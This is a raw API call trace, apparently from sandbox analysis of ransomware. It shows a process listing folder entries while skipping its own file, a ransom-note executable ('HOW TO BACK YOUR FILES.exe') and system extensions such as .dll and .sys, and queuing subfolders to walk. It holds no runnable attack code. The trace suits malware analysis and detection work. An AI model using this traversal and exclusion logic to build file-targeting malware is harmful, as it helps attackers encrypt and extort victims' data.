	[0076.519] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b45ecf9, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8b45ecf9, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2b0dd120, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x14de00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="journal.dll", cAlternateFileName="")) returned 1
	[0076.519] lstrcmpiW (lpString1="journal.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.519] lstrcmpiW (lpString1="journal.dll", lpString2="Apollon865.txt.exe") returned 1
	[0076.519] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="journal.dll" | out: lpString1="journal.dll") returned="journal.dll"
	[0076.519] lstrlenW (lpString="journal.dll") returned 11
	[0076.519] lstrlenW (lpString="Apollon865") returned 10
	[0076.519] lstrcmpiW (lpString1="ournal.dll", lpString2="Apollon865") returned 1
	[0076.519] lstrlenW (lpString=".dll") returned 4
	[0076.519] lstrcmpiW (lpString1="journal.dll", lpString2=".dll") returned 1
	[0076.519] lstrlenW (lpString=".lnk") returned 4
	[0076.519] lstrcmpiW (lpString1="journal.dll", lpString2=".lnk") returned 1
	[0076.519] lstrlenW (lpString=".ini") returned 4
	[0076.519] lstrcmpiW (lpString1="journal.dll", lpString2=".ini") returned 1
	[0076.519] lstrlenW (lpString=".sys") returned 4
	[0076.519] lstrcmpiW (lpString1="journal.dll", lpString2=".sys") returned 1
	[0076.519] lstrlenW (lpString="journal.dll") returned 11
	[0076.519] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="ko-KR" | out: lpString1="ko-KR") returned="ko-KR"
	[0076.519] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fca8
	[0076.520] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x72) returned 0x591dc0
	[0076.520] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcb0 | out: ListHead=0x5b76b0, ListEntry=0x59fcb0) returned 0x59fc70
	[0076.520] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="lt-LT", cAlternateFileName="")) returned 1
	[0076.520] lstrcmpiW (lpString1="lt-LT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.520] lstrcmpiW (lpString1="lt-LT", lpString2="Apollon865.txt.exe") returned 1
	[0076.520] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="lt-LT" | out: lpString1="lt-LT") returned="lt-LT"
	[0076.520] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd88
	[0076.520] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x72) returned 0x591e40
	[0076.520] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd90 | out: ListHead=0x5b76b0, ListEntry=0x59fd90) returned 0x59fcb0
	[0076.520] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1
	[0076.520] lstrcmpiW (lpString1="lv-LV", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.520] lstrcmpiW (lpString1="lv-LV", lpString2="Apollon865.txt.exe") returned 1
	[0076.520] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="lv-LV" | out: lpString1="lv-LV") returned="lv-LV"
	[0076.520] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd48
	[0076.520] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x72) returned 0x591ec0
	[0076.520] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd50 | out: ListHead=0x5b76b0, ListEntry=0x59fd50) returned 0x59fd90
	[0076.520] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69e22d6e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x69e22d6e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x3188e7b0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a0200, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="micaut.dll", cAlternateFileName="")) returned 1
	[0076.520] lstrcmpiW (lpString1="micaut.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.520] lstrcmpiW (lpString1="micaut.dll", lpString2="Apollon865.txt.exe") returned 1
	[0076.520] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="micaut.dll" | out: lpString1="micaut.dll") returned="micaut.dll"
	[0076.520] lstrlenW (lpString="micaut.dll") returned 10
	[0076.520] lstrlenW (lpString="Apollon865") returned 10
	[0076.520] lstrlenW (lpString=".dll") returned 4
	[0076.520] lstrcmpiW (lpString1="micaut.dll", lpString2=".dll") returned 1
	[0076.520] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="Microsoft.Ink.dll" | out: lpString1="Microsoft.Ink.dll") returned="Microsoft.Ink.dll"
	[0076.520] lstrlenW (lpString="Microsoft.Ink.dll") returned 17
	[0076.520] lstrlenW (lpString="Apollon865") returned 10
	[0076.520] lstrcmpiW (lpString1="ft.Ink.dll", lpString2="Apollon865") returned 1
	[0076.521] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="mip.exe" | out: lpString1="mip.exe") returned="mip.exe"
	[0076.521] lstrlenW (lpString="mip.exe") returned 7
	[0076.521] lstrlenW (lpString="Apollon865") returned 10
	[0076.521] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="mraut.dll" | out: lpString1="mraut.dll") returned="mraut.dll"
	[0076.521] lstrlenW (lpString="mraut.dll") returned 9
	[0076.521] lstrlenW (lpString="Apollon865") returned 10
	[0076.521] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="mshwgst.dll" | out: lpString1="mshwgst.dll") returned="mshwgst.dll"
	[0076.521] lstrlenW (lpString="mshwgst.dll") returned 11
	[0076.521] lstrlenW (lpString="Apollon865") returned 10
	[0076.521] lstrcmpiW (lpString1="shwgst.dll", lpString2="Apollon865") returned 1
	[0076.521] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="mshwLatin.dll" | out: lpString1="mshwLatin.dll") returned="mshwLatin.dll"
	[0076.521] lstrlenW (lpString="mshwLatin.dll") returned 13
	[0076.521] lstrlenW (lpString="Apollon865") returned 10
	[0076.521] lstrcmpiW (lpString1="wLatin.dll", lpString2="Apollon865") returned 1
	[0076.521] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="nb-NO" | out: lpString1="nb-NO") returned="nb-NO"
	[0076.521] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fcc8
	[0076.521] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x72) returned 0x591f40
	[0076.521] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcd0 | out: ListHead=0x5b76b0, ListEntry=0x59fcd0) returned 0x59fd50
	[0076.521] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1
	[0076.521] lstrcmpiW (lpString1="nl-NL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.521] lstrcmpiW (lpString1="nl-NL", lpString2="Apollon865.txt.exe") returned 1
	[0076.521] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="nl-NL" | out: lpString1="nl-NL") returned="nl-NL"
	[0076.521] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fbe8
	[0076.521] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x72) returned 0x591fc0
	[0076.522] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fbf0 | out: ListHead=0x5b76b0, ListEntry=0x59fbf0) returned 0x59fcd0
	[0076.522] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1
	[0076.522] lstrcmpiW (lpString1="pl-PL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.522] lstrcmpiW (lpString1="pl-PL", lpString2="Apollon865.txt.exe") returned 1
	[0076.522] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="pl-PL" | out: lpString1="pl-PL") returned="pl-PL"
	[0076.522] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fce8
	[0076.522] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x72) returned 0x592040
	[0076.522] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcf0 | out: ListHead=0x5b76b0, ListEntry=0x59fcf0) returned 0x59fbf0
	[0076.522] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1
	[0076.522] lstrcmpiW (lpString1="pt-BR", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.522] lstrcmpiW (lpString1="pt-BR", lpString2="Apollon865.txt.exe") returned 1
	[0076.522] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="pt-BR" | out: lpString1="pt-BR") returned="pt-BR"
	[0076.522] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd08
	[0076.522] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x72) returned 0x5920c0
	[0076.522] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd10 | out: ListHead=0x5b76b0, ListEntry=0x59fd10) returned 0x59fcf0
	[0076.522] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1
	[0076.522] lstrcmpiW (lpString1="pt-PT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.522] lstrcmpiW (lpString1="pt-PT", lpString2="Apollon865.txt.exe") returned 1
	[0076.522] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="pt-PT" | out: lpString1="pt-PT") returned="pt-PT"
	[0076.522] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fdc8
	[0076.522] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x72) returned 0x592140
	[0076.522] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fdd0 | out: ListHead=0x5b76b0, ListEntry=0x59fdd0) returned 0x59fd10
	[0076.522] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1
	[0076.522] lstrcmpiW (lpString1="ro-RO", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.522] lstrcmpiW (lpString1="ro-RO", lpString2="Apollon865.txt.exe") returned 1
	[0076.522] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="ro-RO" | out: lpString1="ro-RO") returned="ro-RO"
	[0076.522] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fde8
	[0076.522] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x72) returned 0x5921c0
	[0076.522] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fdf0 | out: ListHead=0x5b76b0, ListEntry=0x59fdf0) returned 0x59fdd0
	[0076.522] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42a795bf, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x42a795bf, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x43f1e320, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x29800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rtscom.dll", cAlternateFileName="")) returned 1
	[0076.523] lstrcmpiW (lpString1="rtscom.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.523] lstrcmpiW (lpString1="rtscom.dll", lpString2="Apollon865.txt.exe") returned 1
	[0076.523] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="rtscom.dll" | out: lpString1="rtscom.dll") returned="rtscom.dll"
	[0076.523] lstrlenW (lpString="rtscom.dll") returned 10
	[0076.523] lstrlenW (lpString="Apollon865") returned 10
	[0076.523] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="ru-RU" | out: lpString1="ru-RU") returned="ru-RU"
	[0076.523] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fe08
	[0076.523] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x72) returned 0x592240
	[0076.523] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fe10 | out: ListHead=0x5b76b0, ListEntry=0x59fe10) returned 0x59fdf0
	[0076.523] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a593198, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6a593198, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xf44c0670, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xa9c00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ShapeCollector.exe", cAlternateFileName="")) returned 1
	[0076.523] lstrcmpiW (lpString1="ShapeCollector.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.523] lstrcmpiW (lpString1="ShapeCollector.exe", lpString2="Apollon865.txt.exe") returned 1
	[0076.523] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="ShapeCollector.exe" | out: lpString1="ShapeCollector.exe") returned="ShapeCollector.exe"
	[0076.523] lstrlenW (lpString="ShapeCollector.exe") returned 18
	[0076.523] lstrlenW (lpString="Apollon865") returned 10
	[0076.523] lstrcmpiW (lpString1="lector.exe", lpString2="Apollon865") returned 1
	[0076.523] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="sk-SK" | out: lpString1="sk-SK") returned="sk-SK"
	[0076.523] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fe28
	[0076.523] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x72) returned 0x5922c0
	[0076.523] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fe30 | out: ListHead=0x5b76b0, ListEntry=0x59fe30) returned 0x59fe10
	[0076.523] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sl-SI", cAlternateFileName="")) returned 1
	[0076.523] lstrcmpiW (lpString1="sl-SI", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.523] lstrcmpiW (lpString1="sl-SI", lpString2="Apollon865.txt.exe") returned 1
	[0076.523] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="sl-SI" | out: lpString1="sl-SI") returned="sl-SI"
	[0076.523] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fbc8
	[0076.523] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x72) returned 0x592340
	[0076.523] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fbd0 | out: ListHead=0x5b76b0, ListEntry=0x59fbd0) returned 0x59fe30
	[0076.523] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1
	[0076.524] lstrcmpiW (lpString1="sr-Latn-CS", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.524] lstrcmpiW (lpString1="sr-Latn-CS", lpString2="Apollon865.txt.exe") returned 1
	[0076.524] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="sr-Latn-CS" | out: lpString1="sr-Latn-CS") returned="sr-Latn-CS"
	[0076.524] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fe48
	[0076.524] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7c) returned 0x5bf4e0
	[0076.524] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fe50 | out: ListHead=0x5b76b0, ListEntry=0x59fe50) returned 0x59fbd0
	[0076.524] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1
	[0076.524] lstrcmpiW (lpString1="sv-SE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.524] lstrcmpiW (lpString1="sv-SE", lpString2="Apollon865.txt.exe") returned 1
	[0076.524] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="sv-SE" | out: lpString1="sv-SE") returned="sv-SE"
	[0076.524] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fe68
	[0076.524] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x72) returned 0x5923c0
	[0076.524] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fe70 | out: ListHead=0x5b76b0, ListEntry=0x59fe70) returned 0x59fe50
	[0076.524] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56ef1310, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x56ef1310, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x449d3e50, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x9e00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TabIpsps.dll", cAlternateFileName="")) returned 1
	[0076.524] lstrcmpiW (lpString1="TabIpsps.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.524] lstrcmpiW (lpString1="TabIpsps.dll", lpString2="Apollon865.txt.exe") returned 1
	[0076.524] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="TabIpsps.dll" | out: lpString1="TabIpsps.dll") returned="TabIpsps.dll"
	[0076.524] lstrlenW (lpString="TabIpsps.dll") returned 12
	[0076.524] lstrlenW (lpString="Apollon865") returned 10
	[0076.524] lstrcmpiW (lpString1="bIpsps.dll", lpString2="Apollon865") returned 1
	[0076.524] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="tabskb.dll" | out: lpString1="tabskb.dll") returned="tabskb.dll"
	[0076.524] lstrlenW (lpString="tabskb.dll") returned 10
	[0076.524] lstrlenW (lpString="Apollon865") returned 10
	[0076.524] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="TabTip.exe" | out: lpString1="TabTip.exe") returned="TabTip.exe"
	[0076.524] lstrlenW (lpString="TabTip.exe") returned 10
	[0076.524] lstrlenW (lpString="Apollon865") returned 10
	[0076.525] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="th-TH" | out: lpString1="th-TH") returned="th-TH"
	[0076.525] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fe88
	[0076.525] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x72) returned 0x592440
	[0076.525] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fe90 | out: ListHead=0x5b76b0, ListEntry=0x59fe90) returned 0x59fe70
	[0076.525] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41bbeec8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x41bbeec8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44c363f0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1b000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TipBand.dll", cAlternateFileName="")) returned 1
	[0076.525] lstrcmpiW (lpString1="TipBand.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.525] lstrcmpiW (lpString1="TipBand.dll", lpString2="Apollon865.txt.exe") returned 1
	[0076.525] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="TipBand.dll" | out: lpString1="TipBand.dll") returned="TipBand.dll"
	[0076.525] lstrlenW (lpString="TipBand.dll") returned 11
	[0076.525] lstrlenW (lpString="Apollon865") returned 10
	[0076.525] lstrcmpiW (lpString1="ipBand.dll", lpString2="Apollon865") returned 1
	[0076.525] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="TipRes.dll" | out: lpString1="TipRes.dll") returned="TipRes.dll"
	[0076.525] lstrlenW (lpString="TipRes.dll") returned 10
	[0076.525] lstrlenW (lpString="Apollon865") returned 10
	[0076.525] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="tipresx.dll" | out: lpString1="tipresx.dll") returned="tipresx.dll"
	[0076.525] lstrlenW (lpString="tipresx.dll") returned 11
	[0076.525] lstrlenW (lpString="Apollon865") returned 10
	[0076.525] lstrcmpiW (lpString1="ipresx.dll", lpString2="Apollon865") returned 1
	[0076.525] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="tipskins.dll" | out: lpString1="tipskins.dll") returned="tipskins.dll"
	[0076.525] lstrlenW (lpString="tipskins.dll") returned 12
	[0076.525] lstrlenW (lpString="Apollon865") returned 10
	[0076.525] lstrcmpiW (lpString1="pskins.dll", lpString2="Apollon865") returned 1
	[0076.525] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="tiptsf.dll" | out: lpString1="tiptsf.dll") returned="tiptsf.dll"
	[0076.525] lstrlenW (lpString="tiptsf.dll") returned 10
	[0076.526] lstrlenW (lpString="Apollon865") returned 10
	[0076.526] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="tpcps.dll" | out: lpString1="tpcps.dll") returned="tpcps.dll"
	[0076.526] lstrlenW (lpString="tpcps.dll") returned 9
	[0076.526] lstrlenW (lpString="Apollon865") returned 10
	[0076.526] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="tr-TR" | out: lpString1="tr-TR") returned="tr-TR"
	[0076.526] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fea8
	[0076.526] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x72) returned 0x5924c0
	[0076.526] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59feb0 | out: ListHead=0x5b76b0, ListEntry=0x59feb0) returned 0x59fe90
	[0076.526] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="uk-UA", cAlternateFileName="")) returned 1
	[0076.526] lstrcmpiW (lpString1="uk-UA", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.526] lstrcmpiW (lpString1="uk-UA", lpString2="Apollon865.txt.exe") returned 1
	[0076.526] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="uk-UA" | out: lpString1="uk-UA") returned="uk-UA"
	[0076.526] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fec8
	[0076.526] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x72) returned 0x592540
